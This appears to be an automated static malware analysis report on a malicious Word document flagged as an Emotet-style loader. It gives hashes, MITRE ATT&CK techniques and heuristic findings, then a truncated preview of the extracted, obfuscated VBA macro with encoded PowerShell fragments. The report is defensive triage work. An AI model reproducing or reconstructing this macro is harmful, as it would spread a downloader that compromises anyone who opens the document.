Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 65d25b0b31c86f05…

MALICIOUS

Office (OLE)

157.0 KB Created: 2018-03-27 18:28:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 127ae6420986bdeca044afd23360c6b2 SHA-1: 91899bb649b253fd0a9990b7af0df11475f43acf SHA-256: 65d25b0b31c86f053cefc41cb44a35743e6a513373e19726479536f43f72e01e
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro, as indicated by multiple high and critical heuristic firings including OLE_VBA_AUTOOPEN and CLAMAV_DETECTION. The macro is obfuscated but appears to be designed to download and execute a second-stage payload, likely from a URL or embedded resource. The presence of the AutoOpen macro suggests it executes automatically upon opening the document, a common tactic for initial compromise via spearphishing attachments.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 48472 bytes
SHA-256: a265818fbbcc8dd9e6ab919ed1d2cd3404ed1ed04da6971df626ea6adce30b7b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 20 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "imUvjXGUVj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NflYiYijok"
Function WsCYkSmMo()
On Error Resume Next
Select Case NvtWl
      Case 94519
         YdhsL = CStr(zLJLT + CStr(22160) - Kzuis * 61120)
      Case 47865
         PfFMuO = jnVMt
         NlDHUD = Tan(53482 * ackvFr)
End Select
UkWiULuKizK = HfnOZ("r8 .( $verBOSEPREfErENC.XS", 3, 20)
Select Case ALdFY
      Case 60423
         wbjQJ = CStr(fWqGSX + CStr(94988) - raYcz * 18685)
      Case 78903
         VRpWz = brHUME
         bbDtpz = Tan(8202 * dchuCJ)
End Select
Select Case bGOacO
      Case 17148
         aRbGAj = CStr(jBKIl + CStr(17760) - HUGZIb * 2148)
      Case 86622
         BzsSNv = CzRhj
         CzMlio = Tan(14221 * kBiiw)
End Select
GosSkHwjZ = HfnOZ("@.DABjAGQAOQA4AGUAMAAyADUAZAA2ADkZSaPtm", 4, 30)
Select Case UDFhkh
      Case 47500
         IIRLls = CStr(ITbMf + CStr(33918) - MXwMl * 38787)
      Case 31935
         JnOBnz = kzCDco
         USCOR = Tan(53400 * HRTcLq)
End Select
Select Case zCkEEd
      Case 43433
         BLIqNt = CStr(OYOEmm + CStr(49281) - sMhzwc * 20632)
      Case 68866
         IhJJO = COQzi
         zWLIs = Tan(71314 * szYpZ)
End Select
ZVXjcpQjFcI = HfnOZ("VNDAMABlADMAOABlADUAOAA2ADQANwBiADAAMgAzAGMAYwBkADQAOQA0ADAANgBlADQAMQAwADUAYQAzADMAMQA3AGEAYgA1AGQAZQA0ADgANwAyADkANAAyADcFjkY", 4, 119)
Select Case rrXjY
      Case 31531
         cphjjS = CStr(zMpVor + CStr(25717) - pVoFrn * 83477)
      Case 43194
         rknXhi = rhrrIo
         YalXfH = Tan(5028 * iIzCC)
End Select
Select Case iwMOOJ
      Case 94381
         rOiQP = CStr(oDhmbs + CStr(53905) - GQrjTt * 44858)
      Case 45033
         rLkFW = KpGBd
         nJoBU = Tan(20727 * hJiHO)
End Select
jnqUwWjOhz = HfnOZ("iOOHYAOABmADQANgAzADcAZQA0AGEANQBiAGIAOAAxADIAMgAzADQAOQAyADYAMQBlADgANwBhAGMAMQBlADcAYwAxAGIANQAxADUAYQAxADAAOAAwAGYAYwBhADQAOQMws", 5, 124)
Select Case pvWfpD
      Case 93362
         zmEfi = CStr(dWwVr + CStr(97322) - THCizi * 29885)
      Case 80215
         IEVTh = oKRzjn
         WjVqsi = Tan(20706 * NQQzW)
End Select
Select Case ECSmQH
      Case 48844
         oUduw = CStr(IrKWH + CStr(83316) - YOAhHj * 8706)
      Case 11033
         QjDwr = jwvzPG
         swhRO = Tan(67736 * hMslAj)
End Select
jFqEUzQkPJB = HfnOZ("aSUANAA3ADQAZgBjADkAZQA1AGMAZAAxADkAZQAzADEAMgBhADgANAA4AGUAYgAzADYA' | CoNVerttO-SECURESTRIng -Ke  91,90,102,43,208,JnKrB", 3, 115)
Select Case SEJaUN
      Case 57112
         tqCML = CStr(ObKcb + CStr(10187) - DAqSV * 23196)
      Case 55378
         qRvKJ = rlWus
         oCqOBX = Tan(71676 * liJYb)
End Select
Select Case sbvAtU
      Case 34849
         jLVNji = CStr(JpuaY + CStr(86472) - wEFAX * 62486)
      Case 19766
         PYVnw = nMAXYY
         fNjkBu = Tan(2816 * nwAudi)
End Select
sJCqwU = HfnOZ("YNGMwAxAGYAMAA1AGMAYQBhADkAMQAxADkAMgA5ADIANgBjADUAYgBiAGEAZAAwADkAYQAyADMAOQA2ADAAZQAwAGMANwA4AGQAZQA2AGQANQAzAGEAMAAyADYAMwAyAGIANQAyADgAOAA3AGMANgAwADYAMQA3ADUAOQA0AGMAMAA5AuJL7Sw", 4, 173)
Select Case vswlSb
      Case 93948
         sslnVc = CStr(DzUVRr + CStr(47112) - WlIGb * 54762)
      Case 40620
         SGwRHa = FTiQor
         GfWts = Tan(1786 * IMAXcZ)
End Select
Select Case LGVXZT
      Case 61621
         EOWGa = CStr(SONZKP + CStr(21618) - kiuAnO * 84577)
      Case 6795
         uVXHO = NORWY
         aFKhu = Tan(12849 * pvUCV)
End Select
XkAlpTEGPdu = HfnOZ("O4ADkAOQA5AGMAMgAxADUAMgBjADIANABjADYAOAAzADESqu3b", 2, 43)
Select Case WrdZj
      Case 33496
         AEclD = CStr(EDAKts + CStr(74537) - KYkStH * 75175)
      Case 27204
         aSBjr = jplFI
         VdYiS = Tan(3575 * olaKj)
End Select
Select Case FMzRT
      Case 1891
         ilNmI = CStr(KQmsoE + CStr(28777) - wsiIh * 98124)
      Case 55024
         fGvLE = FMmYMC
         YWJXI = 
... (truncated)

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